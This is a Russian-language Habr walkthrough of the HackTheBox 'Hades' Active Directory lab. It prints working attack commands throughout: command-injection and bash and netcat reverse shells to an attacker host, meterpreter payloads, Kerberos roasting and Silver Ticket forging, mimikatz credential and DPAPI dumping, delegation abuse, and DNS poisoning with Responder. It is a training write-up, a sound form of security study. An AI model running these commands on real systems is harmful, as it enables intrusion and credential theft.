HackTheBox endgame. Прохождение лаборатории Hades. Пентест Active Directory

bqpuleb6yvq0drlxlza-gqenjvs.png

В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 7 флагов.

Посмотреть разборы других лабораторий:

  1. Professional Offensive Operations.
  2. XEN.


Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Intro


Данный endgame состоит из 3 машин, и содержит 7 флагов.

1. Chasm flag — RCE (command injection) + Initial Access;
2. Guardian flag — Enumeration + ASREP Roasting;
3. Messenger flag — Printer Bug + Silver Ticket + Service Control
4. Resurrection flag — Creds Access and Dumping
5. Gateway flag — BloodHound + Control account
6. Celestial flag — ADIDNS + Responder
7. Dominion flag — Lateral Movement

pxbsak_edxjpgdphf8vsv_zfqfm.png

Так же дается описание и адрес доступного хоста.

re7hz45onh0ntcnzbnzyz4ipw9m.png

Начнем!

Chasm flag


Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.

10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1


5coxgzzxnltn43eanpupwgyylys.png

И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис «Certificate Checker».

t7zer1fwuavakd1kvtysyxrbm2k.png

Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.

_3zfjqn6fklkwrvlcqotjgti9rg.png

Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.

10.14.14.4:554/$(whoami)

nospswgvbunowxm49nnd7ju17fk.png

И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:

bash -i >& /dev/tcp/10.14.14.4/4321 0>&1


Но чтобы избежать неудобных символов, закодируем его в base64.

-rh-s-qr2plddtjyj77kvfzvg7w.png

На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.

echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash


Давайте откроем порт для прослушивания и выполним запрос.

10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)


1aw-unw_c4-ec9cahocsbwqgtfm.png

Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.

tr1bmhyzvp8pdi-innjxzdwzjro.png

Создадим python скрипт.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"
params = {'name': payload}
response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)


А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf


l1moy1ybvxkpkxnsq6pqta8p4ey.png

Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.

3cizahthmegcmclojodcokdcok8.png

На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.

echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo


igwnh6xqeybwawunucnl3ub1ohu.png

Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.

handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321


jbr6aez2432aucwelnkx1x_iiya.png

И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit — быстро и удобно.

myle4j7xk5sphlxfunecnjjcjqk.png

И сразу в текущей директории находим первый флаг.

xvdthcujx19a9ftokvb2mirkygq.png

Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag


Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.

nf5hpin4aguh_ow3ufndw9rjfuk.png

Из вывода мы узнаем, что находимся в докер контейнере.

hley6kgwfjfwqsibax6jvaff0zw.png

Так же находим еще один хост — 192.168.99.1.

b389wkenma7wmkx3aw8acc3t5oi.png

Посмотрим информацию о сетевых интерфейсах.

vxh2ocfzvqvpk71sudzol0s0vuy.png

И в своей сети находим еще один хост.

8cxyep3y8p0fyewaevmvzhhy9la.png

Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.

kckvtsabfmu8r0jwu3a7ggmpcru.png

Далее просканируем два найденных хоста.

s0sdqwi-n8j88kndpeyzvj5ats8.png

_1wyt4djqsjfuo6-7om20x3rqmy.png

Обратившись к 443 порту на 192.168.99.1 получим уже знакомый сайт, откуда был сделан вывод, что именно на 192.168.99.1 развернут докер. Так как больше интересного на данном хосте найдено не было, я перешел к 172.17.0.1. Так как и там 443 порт ответил знакомым сайтом, то это тот же докер. И у нас успешно получается подключиться по ssh с дефолтными учетными данными (docker: tcuser). И сразу переходим к пользователю root.

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh docker@172.17.0.1


dxscz_3e_d6gqohonz9zpkydmva.png

Тоже ничего не найдя, переходим к последнему варианту — это мониторинг запускаемых процессов и трафика. Давайте скопируем на хост собранные pspy и tcpdump. Среди процессов ничего интересного, а вот в трафике, раз в 5 секунд обнаружим три неизвестных хоста в подсети 192.168.3.0/24.

vecmnu-fdfkiqq_82wd0metaaqy.png

Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.

/tmp/nmap -sn 192.168.3.0/24


fdlaa1qdvb_2k-vepqjvslzmihm.png

Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.

/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445


myma1g5qwm3c1a47-bopqhf9_hk.png

И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.

/tmp/nmap -Pn 192.168.3.201-203


yql20lejra8kniva37ltwzu90ts.png

Так мы определили сервисы, а теперь сделаем туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Укажем это в модуле autoroute, а потом проверим, что маршрут успешно создан.

run autoroute -s 192.168.3.0/24
run autoroute -p


lsfpxne_zij0wqyohqo6hnoxj48.png

Теперь давайте настроим перенаправитель — socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.

etphtohg7fhycfmmgkyyhavoxgi.png

И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.

8x0fq2zd_xmqmzieozmfuwhzq-4.png

Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.

proxychains -q cme smb 192.168.3.201-203


dgr3tc4et4ztyelusm0qe8nrqlk.png

Давайте добавим данные записи в /etc/hosts.

192.168.3.201   dev.htb.local
192.168.3.202   web.htb.local
192.168.3.203   dc1.htb.local


Попробовав поподключаться к различным службам я ничего не получил. Но есть возможность пробрутить имена пользователей, с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить запросить ключ (AS key) керберос данного пользователя, который будет зашифрован с помощью пароля этого пользователя. И если в UAC учетной записи установлен флаг DONT_REQ_PREAUTH (не требуется предварительная проверка подлинности Kerberos), то сервер вернет нам ключ. Но дело в том, что сервер различает ответ «данный флаг не установлен» и «учетная запись не существует». Таким образом мы можем перечислить имена пользователей и там, где нам ответят, что флаг не установлен, мы делаем вывод о существовании такой учетной записи. Сделать это можно с помощью инструмента GetNPUser, входящего в пакет impacket. В качестве словаря используем, Username/names.txt из набора SecLists.

proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt | grep -v "Client not found in Kerberos database"


gpc_gk6clsiqqzeeglipnbu41uy.png

Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.

john --wordlist=./tools/rockyou.txt bob.hash


x_sty7jy1acck4rdoiqfpxoy9yq.png

И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.

proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares


8zmmscistrqs8vez3ggnd6xaile.png

И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.

proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R


wvcphvedfouigp8ny2skkgbdi4e.png

И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.

proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'


rnm5t3thxbrlxsq13roteb9r_zm.png

2yhtfkc-zkrity7bvo0lwz9_7ni.png

Messenger flag


Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.

enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null


yhrhdwg5wgyza1ihlwllxvs7_ts.png

inkyvhkedovpmshv7rmjq0zrke4.png

8njqbfkwr3gxsluifaut06xhy8o.png

r6438hebxo6qkxtkptwvv7oa96y.png

И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.

proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local' | grep MS-RPRN
proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local' | grep MS-RPRN
proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN


tsrqzsjeewcdbkh7uvzlpsucw3c.png

Если есть двустороннее доверие, атакующий может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно «неограниченное делегирование». Ошибка приводит к тому, что атакующий получает информацию об аутентификации, а именно NTLMv1 хеш учетной записи машины.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.

sudo responder -I tun0 --lm


И выполняем атаку (приведу и dementor и printerbug):

proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201
proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4


jpqp16wvvhul3qhhucna7ruima0.png

И в окне респондера получаем желаемый хеш.

knw72k5h9ej5ggbh3n6ihidlbeq.png

Нам нужно конвертировать его в NTLM хеш.

python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9


mvqcmdn2l9itdt8gzop0a5c9jrg.png

И вот тут возникли проблемы. Так как перебрать DES ключи заняло бы около 150 дней, а платить на ресурсе crack.sh не хотелось, но нашелся человек, который поделился уже полученным с crack.sh хешем: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам нужны хеш учетной записи, SID домена, сам домен и имя любого (даже придуманного пользователя). После создания экспортируем билет.

proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralf
export KRB5CCNAME=ralf.ccache


2gjnpgla8v185qsucfg--djhvui.png

И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'


ladzpystuaibri3ldoxedwqkkl0.png

Проверим конфигурации созданной службы.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10


xeoorvlfkr3v7og8rltyr2l7ogg.png

И запустим ее.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10


aghln24ms3sct75swgki56itgnm.png

Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.

xqlvbwsjiqzfnuznizseo0rlp6g.png

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11


kb0g0sfyoxuqiglhvpzt8-ew5ge.png

И в листенере наблюдаем успешное подключение.

y02cpuky2f9kxabavhcfmng9sf8.png

Таким образом мы захватываем первую из трех целевых машин.

xa_wxvii26nepzaqacwqrhlem5k.png

Resurrection flag


Но так как это не конец, нужно закрепиться на машине, для чего необходимо получить хоть какие-то учетные данные. Так как мы работаем от имени локального администратора, нам достаточно и хешей, но средства вроде mimikatz и meterpreter блокируются антивирусом. Дабы по понятным причинам не показывать способы криптования нагрузок, я использую простую нагрузку Cobalt Strike без всяких модификаций. Для начала запустим сервер и подключимся к нему.

4nxsibuhd_oe3y5u3htwoud2vbs.png

h4cvptpihnv12toctrbzqefhv6i.png

Теперь необходимо создать листенер.

1ydmmvfda4z2deqgwen1swxk7su.png

И вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks → Packages → Payload Generator.

ae6ntafzafulja_bhnyrboplwks.png

Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.

ty9ua-j9bjpezoqwpqi7yqngd4a.png

В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.

odcdgeuo3m8f370xam9rdgdgkoe.png

Cobalt принимает все команды поточно, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы связь происходила мгновенно и команды выполнялись также потоком, введем команду sleep 0. А затем сдампим хеши.

aeat9fwdji89oi5saqp1rvtxpmw.png

Ну и в случае чего, мы можем подключиться к хосту через WinRM.

proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86


sdw3x1riykxayu0ukjwhmnbtnjs.png

Ну, а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.

xzb5yhezguwguo4yavpttasq38e.png

ywq_njm-5pzefydhvnw-2qwifls.png

hidypzvhvfjz5go4sg9e1_achsm.png

Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.

50rwbm3kegj73imlfkcrfjtyvek.png

v1h4tz6yodsobcuzku6cxcro9oc.png

И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.

gfxh0hrheyhfwud49v7gk65wo9e.png

up7ds2g3nycunbwuoaqzgsh5ggc.png

-bguglud4hgtsfsktlenld2djyc.png

Хост 192.168.3.201 можно удалить из списка, так как мы уже его захватили, но он обозначился как 10.13.38.17. Проведя разведку на хосте, не за что больше уцепиться не вышло. Была идея посмотреть хранилище учетных данных, для того чтобы восстановить сохраненные учетные данные, но оба хранилища оказались пусты.

shell vaultcmd /list
shell vaultcmd /listcreds:"Web Credentials"
shell vaultcmd /listcreds:"Windows Credentials"


yoh0lfze0alkjy4km06bp5ehcsq.png

И в конце концов я дошел до пункта «теневые копии» в своем чеклисте. И тут как раз в точку.

vl_r4vqkjibt9ioptoede59nu0c.png

bdyr_agvnf895ewivryb-vrd77e.png

Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.

mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM


dbjf4rk2pdvq7oy7ig4clak85ok.png

И пароль администратора легко находим в онлайн базах.

tc1u0b8vp-i4exrvnvhdxmksayy.png

Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.

zmg1ruia6juknzzfa71npbnfpqk.png

Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.

gcorebynfvb-scxikndqssjktw8.png

Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.

oh6bzpf0rthewimsrlqwmkyfaaq.png

Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).

mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"


p1y5vm6httqzpngxvrg0fa-m4de.png

А теперь расшифруем учетный данные.

mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"


kqziaonusywedjqbnobkocppokw.png

mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"


0zlzdtkvbxxc_fi-ynrtyjeltwk.png

И мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag


Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.

3v7tcs6ljoptxa-ope2lizwjjpm.png

Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.

execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d


aegr_1xwoy_uco6woxkxmskz8d0.png

Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.

hyyfkgaxkuglyh_8cfkqxnw89xg.png

prntgio1bp6vdks1auq4q1dlt6u.png

Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.

vg6bswi0czlvc4mokke9nhazd1e.png

И мы получим следующий граф.

edqn2jo41tqohgvtzqumrmywqkc.png

Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.

mhuyswrtwms5ougjauc83kkjdbg.png

И мы даже можем получить инструкцию по дальнейшей эксплуатации.

usiawietufjf96fglzrhyydijpu.png

Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.

Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.

New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)


-bkmvaxfgjxjy14u0p6lmsj3sow.png

Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.

Get-DomainComputer RalfPC


iqzpedebemjkywfmx1hxyfwpb-y.png

Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.

$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force
$TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)


Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)


А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.

Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred


В Cobalt выполним все эти команды за один раз.

xqttndys7bfnrqdfktpivuhbapg.png

Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SID«у созданной нами учетной записи.

$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl


rvpjhlhzh7nri2ts0yps7j3d2dm.png

Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.

execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23


_gh7weztt5ldv8f01jruaqy-br8.png

Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).

execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt


qlwackrkqgmotq-haq221zb_uum.png

Проверим локальное хранилище билетов и обнаружим там только что импортированный.

gw192vp7fkumj0whzvz3n4h7oem.png

Проверим доступ к веб сервису.

$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode


2gom7guhb91do1o03ofge-s7auw.png

Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.

powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html"
download 1.html


gsioziuqbp4hgzqufip9kh0woz0.png

Добавим эти учетные данные в хранилище данных.

_exb7b_dh3gn_codcsq7fkn-hti.png

Давайте попробуем расширяться в сети, так как на машине открыт WinRM, то будем использовать именно его. Переходим в список целей, выбираем нужный нам хост и через контекстное меню → Jump → winrm64 открываем дополнительное окошко. Выбираем из списка remote_user и создаем новый SMB Listener.

qfqjrjwwskgqug4eziz1sej-cdc.png

И после подключения видим новую захваченную машину, правда без прав админа.

7gvc0hpavibw7ceqv6hqktljyx4.png

qrf0bd1-6hh4psmrt1pckxkt5-e.png

И как знак пройденного этапа, забираем еще один флаг.

6m8iagjccjdwra0nrxu17b7otve.png

Celestial flag


Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize


svbwpahsbja2tbxsitajysduuzw.png

Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.

zg_i-gcdfginf_v9j9obznpmezw.png

01clxxp5rltps0eoirptfx5gcco.png

Давайте создадим дамп трафика с помощью tshark.

tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap


Никаких учетных данных не находим, поэтому углубимся в анализ и откроем данный файл в Wireshark на локальной машине. Находим обращение по трем интересным доменам. Но записи для них отсутствуют.

evgmdbyxmav9a4y4tqmi9ipzkhs.png

90iovirli0gq_hag0nlfusify2o.png

Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.

ocumttnjfhpkmjrqh-oouoznmvc.png

h4-ounfmdlf_nkwbr_e7pvge_hw.png

p3c4pbvurfjyuzmdpivstlhj-xm.png

Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.

Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose


h0dm8tachc5y3rbxniwt0_q4ske.png

И атака выполнена успешно. Проверим это.

Nslookup db1.htb.local 192.168.3.203


yqjr6nwi6e1jvwsdkgf0ihgkp2s.png

Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.

sudo responder -I tun0 -wrf


pruxlugpdozhq8bw5ofuh1xcvns.png

Давайте перебирать данный хеш.

hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1


cfgrxqsxgdmkb7iilihhm-ag4wa.png

И у нас есть пароль администратора. Попробуем его использовать для подключения. Как и всегда, сначала дополняем хранилище учетных данных, потом создаем еще один SMB Beacon и выполняем подключение к хосту WEB через psexec64.

tfksdju_9befbq9aifh5wehty0c.png

8hi8fu97cte7sh0u87awfep2scq.png

wj35-duxybzurbue0gkwvtancy8.png

И наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.

xkwdl_rfyfzylop3lytze0q_gvc.png

tdji7jzxs-ht1miye2d4j2rhww8.png

Забираем флаг администратора, как подтверждение еще одного пройденного этапа.

vayet4t6bzijzv2f3b_waorn2w0.png

Dominion flag


Тут я вернулся к keepass. Найдем все, что его касается.

powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName


Мы найдем два конфига: у Администратора и пользователя.

gbcgabywtlzftya53zghlpsxb_o.png

В файле пользователя находим упоминание о базе kdbx, которая отсутствует.

qvb5pn-lkqspelbrumzkwdqbn5e.png

Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump: secrets.

m_usu-8zmfrkw7lanwv1nfzx274.png

Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.

ieq_venounsyija5z-m-y7kkxu8.png

yo6ljwdm41mfzkafebb-xzsd-je.png

И забираем последний флаг.

uwaiivwht-_inx4mvdax6xuc5qc.png

Вот и все. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru